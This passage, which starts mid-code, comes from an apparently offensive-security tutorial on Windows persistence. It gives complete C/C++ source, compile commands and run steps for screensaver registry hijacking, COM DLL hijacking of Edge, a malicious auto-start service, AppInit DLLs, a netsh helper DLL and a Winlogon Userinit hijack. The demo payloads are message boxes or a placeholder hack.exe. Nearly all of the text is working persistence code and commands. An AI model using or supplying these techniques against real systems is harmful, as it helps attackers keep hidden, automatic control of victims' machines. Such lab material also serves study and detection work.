LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"Control Panel\\Desktop", 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry keys
RegSetValueEx(hkey, (LPCSTR)"ScreenSaveActive", 0, REG_SZ, (unsigned char*)aact, strlen(aact));
RegSetValueEx(hkey, (LPCSTR)"ScreenSaveTimeOut", 0, REG_SZ, (unsigned char*)ts, strlen(ts));
RegSetValueEx(hkey, (LPCSTR)"SCRNSAVE.EXE", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}
return 0;
}
Compile
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
Run
- First check the
ScreenSaveActive
key with commandreg query "HKCU\Control Panel\Desktop" /s
.
- Run
pers.exe
- Logout and Login again and wait for 10s as soon as the screen saver will trigger we will see a meow pop-up from
hack.exe
.
- If we check Screen saver again we will see two more entries -
ScreenSaverTimeOut
&SCRENSAVE.EXE
with outhack.exe
path.
Reverse
You can reverse this execution with this commands:
Remove-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name 'ScreenSaveTimeOut'
Remove-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name 'SCRNSAVE.EXE'
reg query "HKCU\Control Panel\Desktop" /s
Com DLL hijack
What is COM?
The Microsoft Component Object Model (COM) is a technology that enables communication and interaction between different software components or objects, even if they are developed in different languages or on different machines. It is a binary standard that allows reusable software components to interact with each other at runtime, without requiring the need to compile them into a single application.
Step 1 : Discover COM keys for hijacking
- Use Process Monitor to discover COM keys.
- We can use this filter.
- You will see many
regkey
path. - We will try to infect edge browser’s regkey.
- Copy path of any key.
Step 2 : Verify Key.
- Open powershell.
- Check for registry key with command:
reg query "HKCU\Software\Classes\CLSID\{17072F7B-9ABE-4A74-A261-1EB76B55107A}\InprocServer32" /s
- If key is not found in
HKCU\Software\Classes\CLSID\
the system try to find it inHKCR\CLSID\
. - Check registry key in
HKCR\CLSID\
.
Step 3 : Edit Key.
- Export this key to Desktop.
reg export "HKCR\CLSID\{17072F7B-9ABE-4A74-A261-1EB76B55107A}\InprocServer32" C:\Users\Dumbledore\Desktop\orig.reg /reg:64 /y
- Open orig.reg in Notepad
- Replace it with this and save as evil.reg.
Get evil.dll from this post on Desktop.
Step 4 : Replace original reg with this evil.reg
- Use this commands.
reg import C:\Users\Dumbledore\Desktop\evil.reg /reg:64
reg query "HKCU\Software\Classes\CLSID\{17072F7B-9ABE-4A74-A261-1EB76B55107A}\InprocServer32" /s
Done!
Run
Restart edge and wait some time.
Code
We can do this with code also, just replace malicious dll path and COM Register Key path.
#include <windows.h>
#include <string.h>
#include <cstdio>
int main(int argc, char* argv[]) {
HKEY hkey = NULL;
// subkey
const char* sk = "Software\Classes\CLSID\{17072F7B-9ABE-4A74-A261-1EB76B55107A}\InprocServer32";
// malicious DLL
const char* dll =
"C:\\Users\\Dumbledore\\Desktop\\evil.dll";
// startup
LONG res = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR)sk, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
if (res == ERROR_SUCCESS) {
// create new registry keys
RegSetValueEx(hkey, NULL, 0, REG_SZ, (unsigned char*)dll, strlen(dll));
RegCloseKey(hkey);
} else {
printf("cannot create subkey for hijacking :(\n");
return -1;
}
return 0;
}
Windows Service
Step 1: Create a Malicious exe.
Here we will use hack.exe
we created in Registry run keys.
Step 2 : Write Exploit.
//hacksrv.cpp
#include <windows.h>
#include <stdio.h>
#define SLEEP_TIME 5000
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hStatus;
void ServiceMain(int argc, char** argv);
void ControlHandler(DWORD request);
int Runhack() {
void * lb;
BOOL rv;
HANDLE th;
char cmd[] = "C:\\Users\\Dumbledore\\Desktop\\hack.exe";
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
return 0;
}
int main() {
SERVICE_TABLE_ENTRY ServiceTable[] = {
{"HackService", (LPSERVICE_MAIN_FUNCTION) ServiceMain},
{NULL, NULL}
};
StartServiceCtrlDispatcher(ServiceTable);
return 0;
}
void ServiceMain(int argc, char** argv) {
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwServiceSpecificExitCode = 0;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
hStatus = RegisterServiceCtrlHandler("HackService", (LPHANDLER_FUNCTION)ControlHandler);
Runhack();
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (hStatus, &serviceStatus);
while (serviceStatus.dwCurrentState == SERVICE_RUNNING) {
Sleep(SLEEP_TIME);
}
return;
}
void ControlHandler(DWORD request) {
switch(request) {
case SERVICE_CONTROL_STOP:
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &serviceStatus);
return;
case SERVICE_CONTROL_SHUTDOWN:
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &serviceStatus);
return;
default:
break;
}
SetServiceStatus(hStatus, &serviceStatus);
return;
}
Compile
x86_64-w64-mingw32-g++ -O2 meowsrv.cpp -o meowsrv.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
Run
- Create Service
sc create HackService binpath= "C:\Users\Dumbledore\Desktop\hacksrv.exe" start= auto
- Check
sc query HackService
- Start Service
sc start HackService
AppInit DLLs
DLL Code
#include <windows.h>
#pragma comment (lib, "user32.lib")
char* subStr(char *str, char *substr) {
while (*str) {
char *Begin = str;
char *pattern = substr;
while (*str && *pattern && *str == *pattern) {
str++;
pattern++;
}
if (!*pattern)
return Begin;
str = Begin + 1;
}
return NULL;
}
extern "C" {
__declspec(dllexport) BOOL WINAPI runMe(void) {
MessageBoxA(NULL, "Meow-meow!", "=^..^=", MB_OK);
return TRUE;
}
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {
char path[MAX_PATH];
switch (nReason) {
case DLL_PROCESS_ATTACH:
GetModuleFileName(NULL, path, MAX_PATH);
if (subStr(path, (char *)"paint")) {
runMe();
}
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
Compile
x86_64-w64-mingw32-gcc -shared -o evil.dll evil.cpp -fpermissive
C Code
#include <windows.h>
#include <string.h>
int main(int argc, char* argv[]) {
HKEY hkey = NULL;
// malicious DLL
const char* dll = "C:\\Users\\Dumbledore\\Desktop\\evil.dll";
// activation
DWORD act = 1;
// 32-bit and 64-bit
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry keys
RegSetValueEx(hkey, (LPCSTR)"LoadAppInit_DLLs", 0, REG_DWORD, (const BYTE*)&act, sizeof(act));
RegSetValueEx(hkey, (LPCSTR)"AppInit_DLLs", 0, REG_SZ, (unsigned char*)dll, strlen(dll));
RegCloseKey(hkey);
}
res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry keys
RegSetValueEx(hkey, (LPCSTR)"LoadAppInit_DLLs", 0, REG_DWORD, (const BYTE*)&act, sizeof(act));
RegSetValueEx(hkey, (LPCSTR)"AppInit_DLLs", 0, REG_SZ, (unsigned char*)dll, strlen(dll));
RegCloseKey(hkey);
}
return 0;
}
Compile
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
Run
- Run and Open Paint.
netsh helper DLL
Netsh is a Windows utility that administrators can use to modify the host-based Windows firewall and perform network configuration tasks. Through the use of DLL files, Netsh functionality can be expanded.
DLL Code
//evil.cpp
#include <windows.h>
#pragma comment (lib, "user32.lib")
DWORD WINAPI Meow(LPVOID lpParameter) {
MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
return 1;
}
extern "C" __declspec(dllexport)
DWORD InitHelperDll( DWORD dwNetshVersion, PVOID pReserved) {
HANDLE hl = CreateThread(NULL, 0, Meow, NULL, 0, NULL);
CloseHandle(hl);
return 0;
}
Compile
x86_64-w64-mingw32-gcc -shared -o evil.dll evil.cpp -fpermissive
Run
netsh add helper C:\Users\Dumbledore\Desktop\evil.dll
- Check
reg query "HKLM\Software\Microsoft\NetSh" /s
Winlogon
The Winlogon process is responsible for user logon and logoff, startup and shutdown and locking the screen. Authors of malware could alter the registry entries that the Winlogon process uses to achieve persistence.
The following registry keys must be modified in order to implement this persistence technique:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
However, local administrator privileges are required to implement this technique.
- We will use hack.exe used in Registry run keys Trick.
Code
//pers.cpp
#include <windows.h>
#include <string.h>
int main(int argc, char* argv[]) {
HKEY hkey = NULL;
// userinit
const char* ui = "C:\\Windows\\System32\\userinit.exe, C:\\Users\\Dumbledore\\desktop\\hack.exe";
// startup
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
RegSetValueEx(hkey, (LPCSTR)"Userinit", 0, REG_SZ, (unsigned char*)ui, strlen(ui));
RegCloseKey(hkey);
}
return 0;
}
Compile
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
Run
- Sign out and sign in again.